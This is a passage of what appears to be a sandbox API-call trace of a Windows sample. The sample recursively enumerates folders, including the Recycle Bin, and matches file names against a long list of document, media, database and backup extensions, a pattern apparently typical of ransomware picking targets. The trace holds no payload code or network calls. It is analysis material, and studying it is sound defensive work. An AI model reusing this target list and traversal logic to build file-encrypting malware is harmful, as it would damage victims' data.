(lpString1=".cfu", lpString2=".log") returned -1 [0040.946] lstrlenW (lpString=".chm") returned 4 [0040.946] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0040.946] lstrlenW (lpString=".cin") returned 4 [0040.946] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0040.946] lstrlenW (lpString=".class") returned 6 [0040.946] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0040.946] lstrlenW (lpString=".clx") returned 4 [0040.946] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0040.946] lstrlenW (lpString=".config") returned 7 [0040.946] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0040.946] lstrlenW (lpString=".cpp") returned 4 [0040.946] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0040.946] lstrlenW (lpString=".cr2") returned 4 [0040.946] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0040.947] lstrlenW (lpString=".crt") returned 4 [0040.947] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0040.947] lstrlenW (lpString=".crw") returned 4 [0040.947] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0040.947] lstrlenW (lpString=".cs") returned 3 [0040.947] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0040.947] lstrlenW (lpString=".css") returned 4 [0040.947] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0040.947] lstrlenW (lpString=".csv") returned 4 [0040.947] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0040.947] lstrlenW (lpString=".cub") returned 4 [0040.947] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0040.947] lstrlenW (lpString=".dae") returned 4 [0040.947] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0040.947] lstrlenW (lpString=".dat") returned 4 [0040.947] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0040.947] lstrlenW (lpString=".db") returned 3 [0040.947] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0040.947] lstrlenW (lpString=".dbf") returned 4 [0040.947] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0040.947] lstrlenW (lpString=".dbx") returned 4 [0040.947] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0040.947] lstrlenW (lpString=".dc3") returned 4 [0040.947] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0040.947] lstrlenW (lpString=".dcm") returned 4 [0040.947] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0040.947] lstrlenW (lpString=".dcr") returned 4 [0040.947] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0040.947] lstrlenW (lpString=".der") returned 4 [0040.948] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0040.948] lstrlenW (lpString=".dib") returned 4 [0040.948] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0040.948] lstrlenW (lpString=".dic") returned 4 [0040.948] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0040.948] lstrlenW (lpString=".dif") returned 4 [0040.948] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0040.948] lstrlenW (lpString=".divx") returned 5 [0040.948] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0040.948] lstrlenW (lpString=".djvu") returned 5 [0040.948] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0040.948] lstrlenW (lpString=".dng") returned 4 [0040.948] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0040.948] lstrlenW (lpString=".doc") returned 4 [0040.948] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0040.948] lstrlenW (lpString=".docm") returned 5 [0040.948] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0040.948] lstrlenW (lpString=".docx") returned 5 [0040.948] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0040.948] lstrlenW (lpString=".dot") returned 4 [0040.948] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0040.948] lstrlenW (lpString=".dotm") returned 5 [0040.948] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0040.948] lstrlenW (lpString=".dotx") returned 5 [0040.948] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0040.948] lstrlenW (lpString=".dpx") returned 4 [0040.948] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0040.948] lstrlenW (lpString=".dqy") returned 4 [0040.949] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0040.949] lstrlenW (lpString=".dsn") returned 4 [0040.949] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0040.949] lstrlenW (lpString=".dt") returned 3 [0040.949] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0040.949] lstrlenW (lpString=".dtd") returned 4 [0040.949] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0040.949] lstrlenW (lpString=".dwg") returned 4 [0040.949] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0040.949] lstrlenW (lpString=".dwt") returned 4 [0040.949] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0040.949] lstrlenW (lpString=".dx") returned 3 [0040.949] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0040.949] lstrlenW (lpString=".dxf") returned 4 [0040.949] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0040.949] lstrlenW (lpString=".edml") returned 5 [0040.949] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0040.949] lstrlenW (lpString=".efd") returned 4 [0040.949] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0040.949] lstrlenW (lpString=".elf") returned 4 [0040.949] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0040.949] lstrlenW (lpString=".emf") returned 4 [0040.949] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0040.949] lstrlenW (lpString=".emz") returned 4 [0040.949] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0040.949] lstrlenW (lpString=".epf") returned 4 [0040.949] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0040.949] lstrlenW (lpString=".eps") returned 4 [0040.949] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0040.949] lstrlenW (lpString=".epsf") returned 5 [0040.950] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0040.950] lstrlenW (lpString=".epsp") returned 5 [0040.950] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0040.950] lstrlenW (lpString=".erf") returned 4 [0040.950] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0040.950] lstrlenW (lpString=".exr") returned 4 [0040.950] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0040.950] lstrlenW (lpString=".f4v") returned 4 [0040.950] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0040.950] lstrlenW (lpString=".fido") returned 5 [0040.950] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0040.950] lstrlenW (lpString=".flm") returned 4 [0040.950] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0040.950] lstrlenW (lpString=".flv") returned 4 [0040.950] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0040.950] lstrlenW (lpString=".frm") returned 4 [0040.950] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0040.950] lstrlenW (lpString=".fxg") returned 4 [0040.950] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0040.950] lstrlenW (lpString=".geo") returned 4 [0040.950] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0040.950] lstrlenW (lpString=".gif") returned 4 [0040.950] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0040.950] lstrlenW (lpString=".grs") returned 4 [0040.950] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0040.950] lstrlenW (lpString=".gz") returned 3 [0040.950] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0040.950] lstrlenW (lpString=".h") returned 2 [0040.950] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0040.951] lstrlenW (lpString=".hdr") returned 4 [0040.951] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0040.951] lstrlenW (lpString=".hpp") returned 4 [0040.951] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0040.951] lstrlenW (lpString=".hta") returned 4 [0040.951] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0040.951] lstrlenW (lpString=".htc") returned 4 [0040.951] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0040.951] lstrlenW (lpString=".htm") returned 4 [0040.951] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0040.951] lstrlenW (lpString=".html") returned 5 [0040.951] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0040.951] lstrlenW (lpString=".icb") returned 4 [0040.951] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0040.951] lstrlenW (lpString=".ics") returned 4 [0040.951] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0040.951] lstrlenW (lpString=".iff") returned 4 [0040.951] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0040.951] lstrlenW (lpString=".inc") returned 4 [0040.951] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0040.951] lstrlenW (lpString=".indd") returned 5 [0040.951] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0040.951] lstrlenW (lpString=".ini") returned 4 [0040.951] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0040.951] lstrlenW (lpString=".iqy") returned 4 [0040.951] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0040.951] lstrlenW (lpString=".j2c") returned 4 [0040.951] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0040.951] lstrlenW (lpString=".j2k") returned 4 [0040.952] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0040.952] lstrlenW (lpString=".java") returned 5 [0040.952] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0040.952] lstrlenW (lpString=".jp2") returned 4 [0040.952] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0040.952] lstrlenW (lpString=".jpc") returned 4 [0040.952] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0040.952] lstrlenW (lpString=".jpe") returned 4 [0040.952] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0040.952] lstrlenW (lpString=".jpeg") returned 5 [0040.952] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0040.952] lstrlenW (lpString=".jpf") returned 4 [0040.952] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0040.952] lstrlenW (lpString=".jpg") returned 4 [0040.952] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0040.952] lstrlenW (lpString=".jpx") returned 4 [0040.952] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0040.952] lstrlenW (lpString=".js") returned 3 [0040.952] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0040.952] lstrlenW (lpString=".jsf") returned 4 [0040.952] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0040.952] lstrlenW (lpString=".json") returned 5 [0040.952] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0040.952] lstrlenW (lpString=".jsp") returned 4 [0040.952] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0040.952] lstrlenW (lpString=".kdc") returned 4 [0040.952] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0040.952] lstrlenW (lpString=".kmz") returned 4 [0040.952] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0040.953] lstrlenW (lpString=".kwm") returned 4 [0040.953] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0040.953] lstrlenW (lpString=".lasso") returned 6 [0040.953] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0040.953] lstrlenW (lpString=".lbi") returned 4 [0040.953] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0040.953] lstrlenW (lpString=".lgf") returned 4 [0040.953] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0040.953] lstrlenW (lpString=".lgp") returned 4 [0040.953] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0040.953] lstrlenW (lpString=".log") returned 4 [0040.953] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0040.953] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0040.953] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0040.953] lstrlenW (lpString=".1cd") returned 4 [0040.953] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0040.953] lstrlenW (lpString=".3ds") returned 4 [0040.953] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0040.953] lstrlenW (lpString=".3fr") returned 4 [0040.953] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0040.953] lstrlenW (lpString=".3g2") returned 4 [0040.953] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0040.953] lstrlenW (lpString=".3gp") returned 4 [0040.953] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0040.953] lstrlenW (lpString=".7z") returned 3 [0040.953] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0040.953] lstrlenW (lpString=".accda") returned 6 [0040.953] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0040.954] lstrlenW (lpString=".accdb") returned 6 [0040.954] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0040.954] lstrlenW (lpString=".accdc") returned 6 [0040.954] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0040.954] lstrlenW (lpString=".accde") returned 6 [0040.954] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0040.954] lstrlenW (lpString=".accdt") returned 6 [0040.954] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0040.954] lstrlenW (lpString=".accdw") returned 6 [0040.954] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0040.954] lstrlenW (lpString=".adb") returned 4 [0040.954] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0040.954] lstrlenW (lpString=".adp") returned 4 [0040.954] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0040.954] lstrlenW (lpString=".ai") returned 3 [0040.954] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0040.954] lstrlenW (lpString=".ai3") returned 4 [0040.954] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0040.954] lstrlenW (lpString=".ai4") returned 4 [0040.954] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0040.954] lstrlenW (lpString=".ai5") returned 4 [0040.954] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0040.954] lstrlenW (lpString=".ai6") returned 4 [0040.954] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0040.954] lstrlenW (lpString=".ai7") returned 4 [0040.954] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0040.955] lstrlenW (lpString=".ai8") returned 4 [0040.955] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0040.955] lstrlenW (lpString=".anim") returned 5 [0040.955] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0040.955] lstrlenW (lpString=".arw") returned 4 [0040.955] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0040.955] lstrlenW (lpString=".as") returned 3 [0040.955] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0040.955] lstrlenW (lpString=".asa") returned 4 [0040.955] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0040.955] lstrlenW (lpString=".asc") returned 4 [0040.955] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0040.955] lstrlenW (lpString=".ascx") returned 5 [0040.955] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0040.955] lstrlenW (lpString=".asm") returned 4 [0040.955] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0040.955] lstrlenW (lpString=".asmx") returned 5 [0040.955] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0040.955] lstrlenW (lpString=".asp") returned 4 [0040.955] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0040.955] lstrlenW (lpString=".aspx") returned 5 [0040.955] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0040.955] lstrlenW (lpString=".asr") returned 4 [0040.955] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0040.955] lstrlenW (lpString=".asx") returned 4 [0040.956] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0040.956] lstrlenW (lpString=".avi") returned 4 [0040.956] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0040.956] lstrlenW (lpString=".avs") returned 4 [0040.956] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0040.956] lstrlenW (lpString=".backup") returned 7 [0040.956] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0040.956] lstrlenW (lpString=".bak") returned 4 [0040.956] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0040.956] lstrlenW (lpString=".bay") returned 4 [0040.956] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0040.956] lstrlenW (lpString=".bd") returned 3 [0040.956] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0040.956] lstrlenW (lpString=".bin") returned 4 [0040.956] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0040.956] lstrlenW (lpString=".bmp") returned 4 [0040.956] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0040.956] lstrlenW (lpString=".bz2") returned 4 [0040.956] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0040.956] lstrlenW (lpString=".c") returned 2 [0040.956] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0040.956] lstrlenW (lpString=".cdr") returned 4 [0040.956] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0040.956] lstrlenW (lpString=".cer") returned 4 [0040.956] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0040.956] lstrlenW (lpString=".cf") returned 3 [0040.956] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0040.956] lstrlenW (lpString=".cfc") returned 4 [0040.956] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0040.957] lstrlenW (lpString=".cfm") returned 4 [0040.957] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0040.957] lstrlenW (lpString=".cfml") returned 5 [0040.957] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0040.957] lstrlenW (lpString=".cfu") returned 4 [0040.957] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0040.957] lstrlenW (lpString=".chm") returned 4 [0040.957] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0040.957] lstrlenW (lpString=".cin") returned 4 [0040.957] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0040.957] lstrlenW (lpString=".class") returned 6 [0040.957] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0040.957] lstrlenW (lpString=".clx") returned 4 [0040.957] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0040.957] lstrlenW (lpString=".config") returned 7 [0040.957] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0040.957] lstrlenW (lpString=".cpp") returned 4 [0040.957] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0040.957] lstrlenW (lpString=".cr2") returned 4 [0040.957] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0040.957] lstrlenW (lpString=".crt") returned 4 [0040.957] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0040.957] lstrlenW (lpString=".crw") returned 4 [0040.957] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0040.957] lstrlenW (lpString=".cs") returned 3 [0040.957] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0040.958] lstrlenW (lpString=".css") returned 4 [0040.958] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0040.958] lstrlenW (lpString=".csv") returned 4 [0040.958] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0040.958] lstrlenW (lpString=".cub") returned 4 [0040.958] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0040.958] lstrlenW (lpString=".dae") returned 4 [0040.958] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0040.958] lstrlenW (lpString=".dat") returned 4 [0040.958] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0040.958] lstrlenW (lpString=".db") returned 3 [0040.958] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0040.958] lstrlenW (lpString=".dbf") returned 4 [0040.958] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0040.958] lstrlenW (lpString=".dbx") returned 4 [0040.958] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0040.958] lstrlenW (lpString=".dc3") returned 4 [0040.958] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0040.958] lstrlenW (lpString=".dcm") returned 4 [0040.958] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0040.958] lstrlenW (lpString=".dcr") returned 4 [0040.958] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0040.958] lstrlenW (lpString=".der") returned 4 [0040.958] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0040.958] lstrlenW (lpString=".dib") returned 4 [0040.958] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0040.958] lstrlenW (lpString=".dic") returned 4 [0040.958] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0040.958] lstrlenW (lpString=".dif") returned 4 [0040.959] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0040.959] lstrlenW (lpString=".divx") returned 5 [0040.959] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0040.959] lstrlenW (lpString=".djvu") returned 5 [0040.959] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0040.959] lstrlenW (lpString=".dng") returned 4 [0040.959] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0040.959] lstrlenW (lpString=".doc") returned 4 [0040.959] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0040.959] lstrlenW (lpString=".docm") returned 5 [0040.959] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0040.959] lstrlenW (lpString=".docx") returned 5 [0040.959] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0040.959] lstrlenW (lpString=".dot") returned 4 [0040.959] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0040.959] lstrlenW (lpString=".dotm") returned 5 [0040.959] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0040.959] lstrlenW (lpString=".dotx") returned 5 [0040.959] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0040.959] lstrlenW (lpString=".dpx") returned 4 [0040.959] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0040.959] lstrlenW (lpString=".dqy") returned 4 [0040.959] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0040.959] lstrlenW (lpString=".dsn") returned 4 [0040.959] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0040.959] lstrlenW (lpString=".dt") returned 3 [0040.959] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0040.959] lstrlenW (lpString=".dtd") returned 4 [0040.960] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0040.960] lstrlenW (lpString=".dwg") returned 4 [0040.960] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0040.960] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0040.960] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0040.960] FindClose (in: hFindFile=0x4280380 | out: hFindFile=0x4280380) returned 1 [0040.978] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0040.978] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0040.978] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0040.978] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280740 [0040.981] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0040.981] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0040.982] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0040.982] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0040.982] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0040.982] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0040.982] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0040.989] FindClose (in: hFindFile=0x4280740 | out: hFindFile=0x4280740) returned 1 [0040.989] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0040.989] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 0 [0040.990] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0040.990] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x3c50940 | out: hHeap=0x690000) returned 1 [0040.990] FindNextFileW (in: hFindFile=0x6a9918, lpFindFileData=0x32afcf8 | out: lpFindFileData=0x32afcf8) returned 1 [0040.990] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x3c50940 [0040.991] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 0x4280400 [0040.991] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0040.991] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0040.991] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0040.991] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280680 [0040.991] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0040.991] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0040.991] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0040.992] FindClose (in: hFindFile=0x4280680 | out: hFindFile=0x4280680) returned 1 [0040.992] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0040.992] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0040.992] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0040.992] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280840 [0040.992] FindNextFileW (in: hFindFile=0x4280840, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0040.992] FindNextFileW (in: hFindFile=0x4280840, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0040.992] FindNextFileW (in: hFindFile=0x4280840, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0040.992] FindClose (in: hFindFile=0x4280840 | out: hFindFile=0x4280840) returned 1 [0040.992] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0040.992] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 0 [0040.992] FindClose (in: hFindFile=0x4280400 | out: hFindFile=0x4280400) returned 1 [0040.992] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x3c50940 | out: hHeap=0x690000) returned 1 [0040.993] FindNextFileW (in: hFindFile=0x6a9918, lpFindFileData=0x32afcf8 | out: lpFindFileData=0x32afcf8) returned 1 [0040.993] 